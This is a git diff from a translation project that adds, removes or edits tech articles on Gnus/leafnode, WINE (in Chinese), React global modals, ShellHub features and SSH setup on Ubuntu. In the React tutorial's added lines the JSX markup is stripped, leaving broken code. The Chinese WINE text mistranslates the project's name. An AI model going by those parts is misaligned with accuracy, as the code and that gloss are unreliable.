networking protocols other than TCP/IP) I could just learn how layers 2, 3, 4, and 7 relate to TCP/IP and then ignore everything else about it. So hopefully this will help clear things up for somebody! - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2021/05/11/what-s-the-osi-model-/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://flylib.com/books/en/4.215.1.116/1/ -[2]: https://jvns.ca/images/bluetooth.gif -[3]: https://en.wikipedia.org/wiki/List_of_network_protocols_(OSI_model) -[4]: https://en.wikipedia.org/wiki/OSI_protocols -[5]: https://en.wikipedia.org/wiki/Protocol_Wars diff --git a/sources/tech/20210517 reading and searching gmane with gnus, fast.md b/sources/tech/20210517 reading and searching gmane with gnus, fast.md new file mode 100644 index 0000000000..51816eac6c --- /dev/null +++ b/sources/tech/20210517 reading and searching gmane with gnus, fast.md @@ -0,0 +1,91 @@ +[#]: subject: "reading and searching gmane with gnus, fast" +[#]: via: "https://jao.io/blog/2021-05-17-reading-and-searching-gmane-with-gnus-fast.html" +[#]: author: "jao https://jao.io" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +reading and searching gmane with gnus, fast +====== + +Reading mailing lists via Gnus by pointing it to the usenet service news.gmane.io is a well-known trick among emacsers. It has a couple of drawbacks, though: network latency and no search. The two problems have, as almost always with almost any problem in Emacs land, a cure. The names of the game are, in this case, leafnode and notmuch. + +I've been using [leafnode][1] since i was young to avoid network latency issues when Gnus fetches news from remote usenet servers. [Leafnode][1] is a store & forward NNTP proxy that can be used to give a regular newsreader off-line functionality. It works by fetching in the background news articles from a number of configured remote servers (gmane.io in our case), storing them locally and offering a local NNTP server to Gnus (or any other newsreader, for that matter). That way, one configures Gnus to fetch news from localhost, which is fast and will never block, even when one is disconnected from the interwebs. Leafnode's server implements the full protocol, so one can also post to the remote servers. + +For our case, leafnode's configuration file is very simple: + +``` + + ## Unread articles will be deleted after this many days + expire = 365 + + ## This is the NNTP server leafnode fetches its news from. + ## You need read and post access to it. Mandatory. + server = news.gmane.io + + ## Fetch only a few articles when we subscribe a new newsgroup. The + ## default is to fetch all articles. + initialfetch = 100 + +``` + +With leafnode in place, i've rarely needed to subscribe to a mailing list[1][2], and all their messages are available with the Gnus interface that we all know and love. + +With one caveat: one can search over e-mails, using either IMAP (i like dovecot's lucene indexes) or (even better) notmuch. Can we do the same with those messages we access through leafnode? Well, it turns out that, using notmuch, you can! + +First of all, leafnode stores its articles in a format recognised by notmuch's indexer. In my debian installation, the live in the directory `/var/spool/news/gmane`. On the other hand, my notmuch configuration points to `~/var/mail` as the parent directory where my mailboxes are to be found. I just created a symlink in the latter to the former and voila, notmuch is indexing all the messages retrieved by leafnode and i can search over them![2][3] + +With the version of Gnus in current emacs master, it's even better. I can tell Gnus that the search engine for the news server is notmuch: + +``` + + (setq gnus-select-method + '(nntp "localhost" + (gnus-search-engine gnus-search-notmuch + (remove-prefix "/home/jao/var/mail/")))) + +``` + +and perform searches directly in Gnus using the notmuch indexes. Or, if you prefer, you can use directly notmuch.el to find and read those usenet articles: they look just like good old email[3][4] :) + +### Footnotes: + +[1][5] + +Actually, gmane also includes _gwene_ groups that mirror RSS feeds as usenet messages, so you could extend the trick to feeds too. I however use [rss2email][6] to read RSS feeds as email, for a variety of reasons best left to a separate post. + +[2][7] + +With the `expire` parameter in leafnode's configuration set to 365, i keep locally an indexed archive of the mailing list posts less than a year old: in this age of cheap storage, one can make that much longer. One can also play with `initialfetch`. + +[3][8] + +I am not a mu4e user, but i am pretty sure one can play the same trick if that's your email indexer and reader. + +[Tags][9]: [emacs][10] + +-------------------------------------------------------------------------------- + +via: https://jao.io/blog/2021-05-17-reading-and-searching-gmane-with-gnus-fast.html + +作者:[jao][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jao.io +[b]: https://github.com/lujun9972 +[1]: https://leafnode.sourceforge.io/ +[2]: tmp.gr7aQUOwRH#fn.1 +[3]: tmp.gr7aQUOwRH#fn.2 +[4]: tmp.gr7aQUOwRH#fn.3 +[5]: tmp.gr7aQUOwRH#fnr.1 +[6]: https://wiki.archlinux.org/title/Rss2email +[7]: tmp.gr7aQUOwRH#fnr.2 +[8]: tmp.gr7aQUOwRH#fnr.3 +[9]: https://jao.io/blog/tags.html +[10]: https://jao.io/blog/tag-emacs.html diff --git a/sources/tech/20210522 Run your favorite Windows applications on Linux.md b/sources/tech/20210522 Run your favorite Windows applications on Linux.md deleted file mode 100644 index b2bdeb221a..0000000000 --- a/sources/tech/20210522 Run your favorite Windows applications on Linux.md +++ /dev/null @@ -1,98 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Run your favorite Windows applications on Linux) -[#]: via: (https://opensource.com/article/21/2/linux-wine) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -在你的Linux系统上运行Windows软件! -====== - -WINE是一个让你在Linux系统上运行windows本地程序的开源项目。 -![Computer screen with files or windows open][1] - -2021年,有很多原因让人们比以往更加喜欢Linux系统。在这一系列的文章中,我们将分享21个使用Linux系统的理由。下面将介绍如何使用WINE实现从windows系统到Linux系统的无缝转换。 - -你是否有一个程序只能在windows平台上运行?是不是由于某一个程序阻碍了你使用Linux系统?如果是这样的话,你将会很想了解WINE,这是一个开源项目,它彻底地改变了了 -Windows系统核心库,让原生Windows程序能运行在你的Linux系统上。 - -WINE 的意思是“Wine不是一个模糊测试器”,它使用了驱动这项技术的代码。自从1993年以来,极客们一直致力于将应用程序的任何WIndows API调用转换成[POSIX][2] - - -这是一个惊人的编程壮举,尤其是这个项目是独立运行的,没有微软的帮助(至少来讲),但是有限制。应用程序离Windows API的核心越来越远,WINE就无法预料到应用程序的需求。 有一些供应商可以弥补这一点,特别是[Codeweavers][3] 和[Valve Software][4]。需要得到支持的应用程序的生产商,与进行开发的公司和人没有协调。因此例如在更新软件上,从[WINE headquarters][5]到获得到“黄金”支持地位时,可能会存在一些延迟时间。 -However, if you're looking to run a well-known Windows application on Linux, the chances are good that WINE is ready for it. -然而,如果你你希望在Linux上运行一个著名的Windows应用程序的时候,那么WINE很可能已经准备好了。 - -### 安装WINE - -你可以从Fedora,CentOS Stream,或者RHEL等发型版本的软件储存仓库安装WINE。 - -``` -`$ sudo dnf install wine` -``` - -在Debian, Linux Mint,Elementary上的安装方法相似: - - -``` -`$ sudo apt install wine` -``` - -WINE不是一个你启动的应用程序,它是一个你启动Windows应用程序的后端支持软件。你WINE的第一次打交道很可能发生在你在Linux上启动Windows应用程序时。 - -### 安装应用程序 - -[TinyCAD][6]是一个很好的设计电路的开源应用程序,但只适用于Windows系统。虽然它是一个小程序,但它的确包含了不少.NET组件,因此应该对于WINE来说有一点压力。 - -首先,下载TinyCAD的安装程序,与Windows安装程序的常见情况一样,它是一个EXE文件。下载后双击运行它。 - -![WINE TinyCAD installation wizard][7] - -首先通过WINE安装的步骤就如在Windows上安装软件相同。一般都采用默认方案安装,尤其是在使用WINE的时候。WINE的运行环境是独立的,隐藏在你的硬件驱动**drive_c**文件中,可以让Windows程序如在Windows系统中一般采用管理员的的权限运行在模拟的系统环境中。 - -![WINE TinyCAD installation and destination drive][8] - -WINE TinyCAD 的运行位置 - -安装后,应用程序通常会为你启动。如果你准备好进行测试,请启动应用程序。 - -### 运行Windows应用程序 - -除了安装后立即启动外,通常启动WINE应用程序的方式与启动本机Linux应用程序的方式相同。无论你是使用应用程序菜单还是活动屏幕应用程序的名称,在WINE中运行的桌面Windows应用程序基本上都被视为Linux上的本机应用程序。 - -![TinyCAD running with WINE][9] - -TinyCAD通过WINE得到运行支持 - -### 当WINE崩溃时 - -大多数我在使用WINE运行的应用程序,包括TinyCAD,或者其他的程序都能正常运行。然而,有一些例外情况,当你等了几个月后,看看WINE的开发人员(或者说有游戏,软件) -是否能赶上开发进度,或者说你可以联系Codeweavers这样的供应商,了解他们是否销售对于你需要的应用程序支持。 -### WINE是“欺骗”,但“是有益处” - -一些Linux用户认为,如果你使用WINE,你就是在Linux上“作弊”。也许会有这种感觉,但WINE是一个开源项目,它允许用户切换到Linux,并且仍然可以运行他们工作或爱好所需的应用程序。如果WINE解决了你的问题,并让你更加方便的使用Linux系统,那么就使用它,并接受Linux系统的灵活性。 - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/linux-wine - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[hongsofwing](https://github.com/hongsofwing) -校对:[hongsofwing](https://github.com/hongsofwing) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_screen_windows_files.png?itok=kLTeQUbY (Computer screen with files or windows open) -[2]: https://opensource.com/article/19/7/what-posix-richard-stallman-explains -[3]: https://www.codeweavers.com/crossover -[4]: https://github.com/ValveSoftware/Proton -[5]: http://winehq.org -[6]: https://sourceforge.net/projects/tinycad/ -[7]: https://opensource.com/sites/default/files/wine-tinycad-install.jpg -[8]: https://opensource.com/sites/default/files/wine-tinycad-drive_0.jpg -[9]: https://opensource.com/sites/default/files/wine-tinycad-running.jpg diff --git a/sources/tech/20210524 4 steps to set up global modals in React.md b/sources/tech/20210524 4 steps to set up global modals in React.md index 1a6a762096..f0debb9c82 100644 --- a/sources/tech/20210524 4 steps to set up global modals in React.md +++ b/sources/tech/20210524 4 steps to set up global modals in React.md @@ -1,15 +1,16 @@ -[#]: subject: (4 steps to set up global modals in React) -[#]: via: (https://opensource.com/article/21/5/global-modals-react) -[#]: author: (Ajay Pratap https://opensource.com/users/ajaypratap) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "4 steps to set up global modals in React" +[#]: via: "https://opensource.com/article/21/5/global-modals-react" +[#]: author: "Ajay Pratap https://opensource.com/users/ajaypratap" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " 4 steps to set up global modals in React ====== Learn how to create interactive pop-up windows in a React web app. + ![Digital creative of a browser on the internet][1] A modal dialog is a window that appears on top of a web page and requires a user's interaction before it disappears. [React][2] has a couple of ways to help you generate and manage modals with minimal coding. @@ -24,11 +25,10 @@ In my opinion, the best way to manage modal dialogs in your React application is Here are the steps (and code) to set up global modals in React. I'm using [Patternfly][3] as my foundation, but the principles apply to any project. -#### 1\. Create a global modal component +#### 1. Create a global modal component In a file called **GlobalModal.tsx**, create your modal definition: - ``` import React, { useState, createContext, useContext } from 'react'; import { CreateModal, DeleteModal,UpdateModal } from './components'; @@ -46,25 +46,25 @@ const MODAL_COMPONENTS: any = { }; type GlobalModalContext = { - showModal: (modalType: string, modalProps?: any) => void; - hideModal: () => void; + showModal: (modalType: string, modalProps?: any) => void; + hideModal: () => void;  store: any; }; const initalState: GlobalModalContext = { - showModal: () => {}, - hideModal: () => {}, + showModal: () => {}, + hideModal: () => {},  store: {}, }; const GlobalModalContext = createContext(initalState); -export const useGlobalModalContext = () => useContext(GlobalModalContext); +export const useGlobalModalContext = () => useContext(GlobalModalContext); -export const GlobalModal: React.FC<{}> = ({ children }) => { +export const GlobalModal: React.FC<{}> = ({ children }) => {  const [store, setStore] = useState();  const { modalType, modalProps } = store || {}; - const showModal = (modalType: string, modalProps: any = {}) => { + const showModal = (modalType: string, modalProps: any = {}) => {    setStore({      ...store,      modalType, @@ -72,7 +72,7 @@ export const GlobalModal: React.FC<{}> = ({ children }) => {    });  }; - const hideModal = () => { + const hideModal = () => {    setStore({      ...store,      modalType: null, @@ -80,19 +80,19 @@ export const GlobalModal: React.FC<{}> = ({ children }) => {    });  }; - const renderComponent = () => { + const renderComponent = () => {    const ModalComponent = MODAL_COMPONENTS[modalType];    if (!modalType || !ModalComponent) {      return null;    } -   return <ModalComponent id="global-modal" {...modalProps} />; +   return ;  };  return ( -   <GlobalModalContext.Provider value={{ store, showModal, hideModal }}> +         {renderComponent()}      {children} -   </GlobalModalContext.Provider> +     ); }; ``` @@ -103,40 +103,39 @@ The `showModal` function takes two parameters: `modalType` and `modalProps`. The The `hideModal` function doesn't have any parameters; calling it causes the current open modal to close. -#### 2\. Create modal dialog components +#### 2. Create modal dialog components In a file called **CreateModal.tsx**, create a modal: - ``` import React from "react"; import { Modal, ModalVariant, Button } from "@patternfly/react-core"; import { useGlobalModalContext } from "../GlobalModal"; -export const CreateModal = () => { +export const CreateModal = () => {  const { hideModal, store } = useGlobalModalContext();  const { modalProps } = store || {};  const { title, confirmBtn } = modalProps || {}; - const handleModalToggle = () => { + const handleModalToggle = () => {    hideModal();  };  return ( -   <Modal +             {confirmBtn || "Confirm button"} -       </Button>, -       <Button key="cancel" variant="link" onClick={handleModalToggle}> +       , +             ]} -   > +   >      Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod      tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim      veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea @@ -144,7 +143,7 @@ export const CreateModal = () => {      velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat      cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id      est laborum. -   </Modal> +     ); }; ``` @@ -153,34 +152,33 @@ This has a custom hook, `useGlobalModalContext`, that provides store object from To delete a modal, create a file called **DeleteModal.tsx**: - ``` import React from "react"; import { Modal, ModalVariant, Button } from "@patternfly/react-core"; import { useGlobalModalContext } from "../GlobalModal"; -export const DeleteModal = () => { +export const DeleteModal = () => {  const { hideModal } = useGlobalModalContext(); - const handleModalToggle = () => { + const handleModalToggle = () => {    hideModal();  };  return ( -   <Modal +             Confirm -       </Button>, -       <Button key="cancel" variant="link" onClick={handleModalToggle}> +       , +             ]} -   > +   >      Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod      tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim      veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea @@ -188,41 +186,40 @@ export const DeleteModal = () => {      velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat      cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id      est laborum. -   </Modal> +     ); }; ``` To update a modal, create a file called **UpdateModal.tsx** and add this code: - ``` import React from "react"; import { Modal, ModalVariant, Button } from "@patternfly/react-core"; import { useGlobalModalContext } from "../GlobalModal"; -export const UpdateModal = () => { +export const UpdateModal = () => {  const { hideModal } = useGlobalModalContext(); - const handleModalToggle = () => { + const handleModalToggle = () => {    hideModal();  };  return ( -   <Modal +             Confirm -       </Button>, -       <Button key="cancel" variant="link" onClick={handleModalToggle}> +       , +             ]} -   > +   >      Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod      tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim      veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea @@ -230,15 +227,14 @@ export const UpdateModal = () => {      velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat      cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id      est laborum. -   </Modal> +     ); }; ``` -#### 3\. Integrate GlobalModal into the top-level component in your application - -To integrate the new modal structure you've created into your app, you just import the global modal class you've created. Here's my sample **App.tsx** file: +#### 3. Integrate GlobalModal into the top-level component in your application +To integrate the new modal structure you've created into your app, you just import the global modal class you've created. Here's my sample **App.tsx**file: ``` import "@patternfly/react-core/dist/styles/base.css"; @@ -248,9 +244,9 @@ import { AppLayout } from "./AppLayout"; export default function App() {  return ( -   <GlobalModal> -     <AppLayout /> -   </GlobalModal> +    +      +     ); } ``` @@ -259,55 +255,54 @@ App.tsx is the top-level component in your app, but you can add another componen `GlobalModal` is the root-level component where all your modal components are imported and mapped with their specific `modalType`. -#### 4\. Select the modal's button from the AppLayout component +#### 4. Select the modal's button from the AppLayout component Adding a button to your modal with **AppLayout.js**: - ``` import React from "react"; import { Button, ButtonVariant } from "@patternfly/react-core"; import { useGlobalModalContext, MODAL_TYPES } from "./components/GlobalModal"; -export const AppLayout = () => { +export const AppLayout = () => {  const { showModal } = useGlobalModalContext(); - const createModal = () => { + const createModal = () => {    showModal(MODAL_TYPES.CREATE_MODAL, {      title: "Create instance form",      confirmBtn: "Save"    });  }; - const deleteModal = () => { + const deleteModal = () => {    showModal(MODAL_TYPES.DELETE_MODAL);  }; - const updateModal = () => { + const updateModal = () => {    showModal(MODAL_TYPES.UPDATE_MODAL);  };  return ( -   <> -     <Button variant={ButtonVariant.primary} onClick={createModal}> +   <> +      +     
+     
+      +     
+     
+      +     ); }; ``` -There are three buttons in the AppLayout component: create modal, delete modal, and update modal. Each modal is mapped with the corresponding `modalType`: `CREATE_MODAL`, `DELETE_MODAL`, or `UPDATE_MODAL`. +There are three buttons in the AppLayout component: create modal, delete modal, and update modal. Each modal is mapped with the corresponding `modalType` : `CREATE_MODAL`, `DELETE_MODAL`, or `UPDATE_MODAL`. ### Use global dialogs @@ -315,22 +310,20 @@ Global modals are a clean and efficient way to handle dialogs in React. They are If you'd like to see the code in action, I've included the [complete application][4] I created for this article in a sandbox. -Leslie Hinson sits down with Andrés Galante, an expert HTML and CSS coder who travels the world... - -------------------------------------------------------------------------------- via: https://opensource.com/article/21/5/global-modals-react 作者:[Ajay Pratap][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/ajaypratap -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_web_internet_website.png?itok=g5B_Bw62 (Digital creative of a browser on the internet) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/browser_web_internet_website.png [2]: https://reactjs.org/ [3]: https://www.patternfly.org/v4/ [4]: https://codesandbox.io/s/affectionate-pine-gib74 diff --git a/sources/tech/20210526 6 exciting new ShellHub features to look for in 2021.md b/sources/tech/20210526 6 exciting new ShellHub features to look for in 2021.md deleted file mode 100644 index 9b5310bd12..0000000000 --- a/sources/tech/20210526 6 exciting new ShellHub features to look for in 2021.md +++ /dev/null @@ -1,139 +0,0 @@ -[#]: subject: (6 exciting new ShellHub features to look for in 2021) -[#]: via: (https://opensource.com/article/21/5/shellhub-new-features) -[#]: author: (Domarys https://opensource.com/users/domarys) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -6 exciting new ShellHub features to look for in 2021 -====== -ShellHub's community has been busy adding new features to the open -source remote-access tool. -![People work on a computer server with devices][1] - -ShellHub is a cloud server that allows universal access to your networked devices from any external network. Using it prevents being blocked by firewalls or overly complex networks because [ShellHub][2] uses the HTTP protocol to encapsulate the SSH protocol. This transport layer allows seamless use on most networks, as it is commonly available and accepted by most companies' firewall rules and policies. - -Best of all, ShellHub is open source (released under the Apache 2.0 license) and facilitates developers' and programmers' remote tasks and making access to Linux devices possible for any hardware architecture. - -For a full demo, please read my previous article, [_Bypass your Linux firewall with SSH over HTTP_][3]. In this follow-up article, I'll cover some of the developments and additions in the [0.7.0 release][4]. - -ShellHub offers a safe and quick way to access your devices from anywhere. It has a robust [community][5], whose contributions are essential to the tool's growth, new features, and improvements. I'll describe some of the updates that are (or will soon be) in the [tool's code][6] below. - -### Namespace - -The namespace enables you to create a set of devices to share with other ShellHub users. You can put as many devices as you want in a namespace, but a device registered in one namespace cannot belong to another. - -You can access your namespace by using the top-right button on the Dashboard. There, you will find the namespace Tenant ID, which is used to register a device, and any other namespaces you have created. You can also create a new namespace and access namespace settings. - -You can rename, delete, and invite other users to your namespace. Namespace user permissions work based on privilege, depending on user rank. (See [Privileges][7] for more information.) - -![Namespace][8] - -(Domarys, [CC BY-SA 4.0][9]) - -This feature is available in all editions. The difference is that in the open source version, you must use the terminal to issue commands: - - -``` -`./bin/add-namespace ` -``` - -![Running namespace commands in the terminal][10] - -(Domarys, [CC BY-SA 4.0][9]) - -### Privileges - -Privileges are an organization-level mode for authoring actions in ShellHub. This ensures only the owner has permissions to do potentially dangerous actions. - -There are two privilege ranks: - - * **ADM:** Only the namespace owner has administrator privileges to run an action. The admin can accept and reject devices; view and delete session recordings; create, change, or delete firewall rules; and invite users to the namespace. - * **USER:** A user must be invited by the owner. A user can access devices and any information in the namespace enabled by the owner but cannot remove devices, change firewall rules, or watch session recordings. - - - -### Session recordings - -This new feature records all actions in a ShellHub connection executed by a user or owner. Session recordings are available in the Dashboard in ShellHub Cloud and Enterprise versions. - -![Session recordings][11] - -(Domarys, [CC BY-SA 4.0][9]) - -The session recording feature is on by default. If you are the owner, you can change this in a namespace's Settings. - -![Session recording settings][12] - -(Domarys, [CC BY-SA 4.0][9]) - -Each session's page has details such as hostname, user, authentication, IP address, and session begin and end time. The device's user ID (UID) is available in Details. - -### Firewall rules - -![Firewall rules][13] - -(Domarys, [CC BY-SA 4.0][9]) - -Firewall rules define network traffic permissions (or blocks) to ShellHub devices. This feature is available in the Cloud and Enterprise editions. These rules allow or prevent a device's connection to defined IPs, users, or hostnames. Rules can be set only by a namespace owner. - -In addition to defining the rules, ShellHub enables an owner to set priorities, which block sets of locations or permit access to a location in a blocked set if necessary. - -### Admin console - -![Admin console][14] - -(Domarys, [CC BY-SA 4.0][9]) - -ShellHub developed the admin console to facilitate user support. It offers an easy and clear interface for administrators of large teams to manage and check the activities executed in the ShellHub server. It's available in the Enterprise edition. - -### Automatic access with public keys - -![ShellHub public key][15] - -(Domarys, [CC BY-SA 4.0][9]) - -Automatic connection using public keys is a new feature that will be released soon. It aims to simplify access for users with many different devices and credentials because using a public key makes access quicker and more secure. - -The ShellHub server keeps public key information safe and uses the key only for logging into devices. It also does not have access to users' private keys or other sensitive information. - -Automatic connections using public keys is a recent feature added in ShellHub. - -### Learn more - -Stay up to date on this and other new features and updates on OS Systems' [Twitter][16], [LinkedIn][17], [GitHub][18], or [website][19]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/5/shellhub-new-features - -作者:[Domarys][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/domarys -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003499_01_linux11x_cc.png?itok=XMDOouJR (People work on a computer server with devices) -[2]: https://www.shellhub.io/ -[3]: https://opensource.com/article/20/7/linux-shellhub -[4]: https://github.com/shellhub-io/shellhub/releases/tag/v0.7.0 -[5]: https://www.shellhub.io/community -[6]: https://github.com/shellhub-io -[7]: tmp.jW5CEfWWTN#Privileges -[8]: https://opensource.com/sites/default/files/uploads/shellhub_3namespace.png (Namespace) -[9]: https://creativecommons.org/licenses/by-sa/4.0/ -[10]: https://opensource.com/sites/default/files/uploads/shellhub_2terminal.png (Running namespace commands in the terminal) -[11]: https://opensource.com/sites/default/files/uploads/shellhub_1sessionrecordings.png (Session recordings) -[12]: https://opensource.com/sites/default/files/uploads/shellhub_6sessionrecording.png (Session recording settings) -[13]: https://opensource.com/sites/default/files/uploads/shellhub_5firewallrules.png (Firewall rules) -[14]: https://opensource.com/sites/default/files/uploads/shellhub_4admin.png (Admin console) -[15]: https://opensource.com/sites/default/files/pictures/public_key.png (ShellHub public key) -[16]: https://twitter.com/os_systems -[17]: https://www.linkedin.com/company/ossystems/ -[18]: https://www.facebook.com/ossystems -[19]: https://www.ossystems.com.br/ diff --git a/sources/tech/20210530 Complete Guide to Configuring SSH in Ubuntu.md b/sources/tech/20210530 Complete Guide to Configuring SSH in Ubuntu.md deleted file mode 100644 index 1ba15f11d2..0000000000 --- a/sources/tech/20210530 Complete Guide to Configuring SSH in Ubuntu.md +++ /dev/null @@ -1,252 +0,0 @@ -[#]: subject: (Complete Guide to Configuring SSH in Ubuntu) -[#]: via: (https://itsfoss.com/set-up-ssh-ubuntu/) -[#]: author: (Chris Patrick Carias Stas https://itsfoss.com/author/chris/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Complete Guide to Configuring SSH in Ubuntu -====== - -SSH has become the default method of accessing a remote Linux server these days. - -SSH stands for Secure Shell and it’s a powerful, efficient, and popular network protocol used to establish communication between two computers in a remote fashion. And let’s not forget the secure part of its name; SSH encrypts all traffic to prevent attacks like hijacking and eavesdropping while offering different authentication methods and a myriad of configuration options. - -In this beginner’s guide, you’ll learn: - - * The basic concept of SSH - * Setting up SSH server (on the system you want to access remotely) - * Connecting to remote server via SSH from the client machine (your personal computer) - - - -### The absolute basics of SSH - -Before you see any configuration process, it will be better to go through the absolute basic concept of SSH. - -The SSH protocol is based on server-client architecture. The “server” allows the “client” to be connected over a communication channel. This channel is encrypted and the exchange is governed by the use of public and private SSH keys. - -![Image credit: SSH][1] - -[OpenSSH][2] is one of the most popular open source tools that provides the SSH functionality on Linux, BSD and Windows. - -For a successful SSH set up, you need to: - - * Have SSH server components on the machine that acts as the server. This is provided by **openssh-server** package. - * Have SSH client component on the machine from where you want to connect to the remote server machine. This is provided by **openssh-client** package and most Linux and BSD distributions come preinstalled with it. - - - -It is important to keep a distinction between the server and client. You might not want your personal computer to act as SSH server unless you have good reasons where you want others to connect to your system via SSH. - -Generally, you have a dedicated system working as the server. For example, a [Raspberry Pi running Ubuntu server][3]. You [enable SSH on the Raspberry Pi][4] so that you could control and manage the device from your main personal computer using SSH in a terminal. - -With that information, let’s see how you can set up a SSH server on Ubuntu. - -### Configuring SSH Server on Ubuntu - -Setting up SSH is not complicated and just needs a few steps to do it. - -#### Prerequisites - - * A user with **sudo** privileges on the server machine - * Internet connection to download the required packages - * At least another system in your network. It can be another computer on your LAN, a remote server via Internet, or a virtual machine hosted in your computer. - - - -_**Again, the SSH server installation should be done on the system that you want to act as server and to which you want to connect remotely via SSH.**_ - -#### Step 1: Install required packages - -Let’s start by opening a terminal window to enter the necessary commands. - -Remember to [update your Ubuntu system][5] before installing new packages or software with to make sure that you are running the latest versions. - -``` -sudo apt update && sudo apt upgrade -``` - -The package you need to run SSH Server is provided by openssh-server component from OpenSSH: - -``` -sudo apt install openssh-server -``` - -![][6] - -#### Step 2: Checking the status of the server - -Once the downloading and installation of the package is done the SSH service should be already running, but to be sure we will check it with: - -``` -service ssh status -``` - -You may also use the systemd commands: - -``` -sudo systemctl status ssh -``` - -You should see something like this, with the word Active highlighted. Hit `q` to return to the command prompt. - -![][7] - -If in your case the service is not running you will have to activate like this: - -``` -sudo systemctl enable --now ssh -``` - -#### Step 3: Allowing SSH through the firewall - -Ubuntu comes with a firewall utility called [UFW][8] (UncomplicatedFirewall) which is an interface for **iptables** that in turn manages the network’s rules. If the firewall is active, it may prevent the connection to your SSH Server. - -To configure UFW so that it allows the wanted access, you need to run the following command: - -``` -sudo ufw allow ssh -``` - -The status of UFW can be checked running `sudo ufw status`. - -At this time our SSH Server is up and running, just waiting for a connection from a client. - -### Connecting to the remote system from your local machine - -Your local Linux system should already have SSH client installed. If not, you may always install it using the following command on Ubuntu: - -``` -sudo apt install openssh-client -``` - -To connect to your Ubuntu system you need to know the IP address of the computer and use the `ssh` command, like this: - -``` -ssh [email protected] -``` - -Change **username** to your actual user in the system and **address** to the IP address of your Ubuntu machine. - -If you don’t [know the IP address of your computer][9] you can type `ip a` in the terminal of the server and check the output. You should have something like this: - -![Using “ip a” to find the IP address][10] - -As can be seen here my IP address is **192.168.1.111**. Let’s try connecting using the **[[email protected]][11]** format. - -``` -ssh [email protected] -``` - -The first time you connect to a SSH server, it will ask for permission to add the host. Type `yes` and hit Enter to continue. - -![First time connecting to the server][12] - -Immediately SSH tells you that the host was permanently added and then asks for the password assigned to the username. Type in the password and hit Enter one more time. - -![Host added, now type in the password][13] - -And voila! You will be logged into your Ubuntu system remotely! - -![Connected!][14] - -Now you can work in your remote system’s terminal as normal. - -#### Closing the SSH connection - -To close the connection you just need to type `exit` and it will close it at once, without asking for confirmation. - -![Closing the connection with “exit”][15] - -### Stopping and Disabling SSH in Ubuntu - -If you want to stop SSH service you will need this command: - -``` -sudo systemctl stop ssh -``` - -This will stop the service until you restart it or until the system is rebooted. To restart it, type: - -``` -sudo systemctl start ssh -``` - -Now, if you want to disable it from starting during system boot, use this: - -``` -sudo systemctl disable ssh -``` - -This won’t stop the service from running during the current session, just from loading during startup. If you want to let it start again during system boot, type: - -``` -sudo systemctl enable ssh -``` - -#### Other SSH clients - -The tool `ssh` is included in most *nix systems, from Linux to macOS, but those are not the only options in existence, here are a couple of clients that can be used from other operating systems: - - * [PuTTY][16] is a free SSH client for Windows and it’s open source. It’s full of features and very easy to use. If you are connecting to your Ubuntu machine from a Windows station, PuTTY is a great option. - * [JuiceSSH][17] is an amazing tool for Android users. If you are on the go and need a mobile client to connect to your Ubuntu system, I amply 